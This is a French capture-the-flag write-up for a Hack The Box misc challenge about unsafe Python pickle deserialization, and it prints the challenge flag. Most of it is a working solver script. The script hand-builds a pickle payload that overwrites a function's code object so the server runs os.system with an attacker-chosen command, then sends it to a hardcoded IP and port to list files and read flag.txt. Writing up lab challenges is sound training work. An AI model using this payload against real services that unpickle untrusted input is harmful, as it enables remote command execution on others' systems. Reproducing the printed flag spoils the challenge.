Were Pickle Phreaks

Catégorie: Misc Difficulté: easy Flag: HTB{54N17121N9_MODul3_4Nd_No7_n4M3_15_4_5UR3_w4y_7o_937_1n7o_4_p1cKL3_d4y}

Challenge

Description


The Phreaks have rolled a new registration app to recruit new members so they can help them grow and evolve. You, a factionless, see this and think of other plans...

Vulnérabilité

Référence : https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-pickle

Tout est expliqué dans ce WU, l’objectif et de modifier le code d’une fonction avant qu’elle soit appelée pour la faire exécuter des commandes.

Cela peut être réaliser au moment de désérialiser les données avec Pickle

Script de résolution

# python 3.8
from pwnlib.tubes.remote import remote
from base64 import b64encode
from pickle import *

def generate_payload(command):
    return b64encode(
        PROTO + b'\x04' + \
        GLOBAL + b'__main__\nmenu\n' + \
        NONE + \
        MARK + \
        UNICODE + b'__code__\n' + \
        GLOBAL + b'__main__\nPhreaks.__class__\n' + \
        GLOBAL + b'__main__\nmenu.__code__\n' + \
        TUPLE1 + REDUCE + \
        MARK + \
        BININT1 + b'\x00' + \
        BININT1 + b'\x00' + \
        BININT1 + b'\x00' + \
        BININT1 + b'\x00' + \
        BININT1 + b'\x03' + \
        BININT1 + b'\x43' + \
        SHORT_BINBYTES + b'\x12' + b't\x00d\x01\x83\x01\xa0\x01d\x02\xa1\x01\x01\x00d\x00S\x00' + \
        NONE + UNICODE + b'os\n' + UNICODE + command.encode() + b'\n' + TUPLE3 + \
        UNICODE + b'__import__\n' + UNICODE + b'system\n' + TUPLE2 + \
        EMPTY_TUPLE + \
        UNICODE + b'app.py\n' + \
        UNICODE + b'blc\n' + \
        BININT1 + b'\x03' + \
        SHORT_BINBYTES + b'\x02' + b'\x00\x01' + \
        EMPTY_TUPLE + \
        EMPTY_TUPLE + \
        TUPLE + \
        REDUCE + \
        DICT + \
        TUPLE2 + \
        BUILD + \
        STOP
    )

def parse_response(data):
    return data.split(b'Invalid Phreaks member')[1].strip().rsplit(b'\n', 1)[0].decode()

class Solver:
    def __init__(self, host, port):
        self.host = host
        self.port = port

    def send_command(self, command):
        client = remote(self.host, self.port)
        client.recvuntil(b'> ')
        client.sendline(b'2')
        client.recvuntil(b'data: ')
        client.sendline(generate_payload(command))
        client.recvuntil(b'> ')
        client.sendline(b'1')
        output = f"$ {command}\n"
        output += parse_response(client.recvuntil(b'> '))
        output += "\n"
        return output

def solve(host, port):
    solver = Solver(host, port)
    print(solver.send_command('ls -al'))
    print(solver.send_command('cat flag.txt'))

if __name__ == '__main__':
    solve('94.237.60.39', 30450)

Dernière mise à jour

Cet article vous a-t-il été utile ?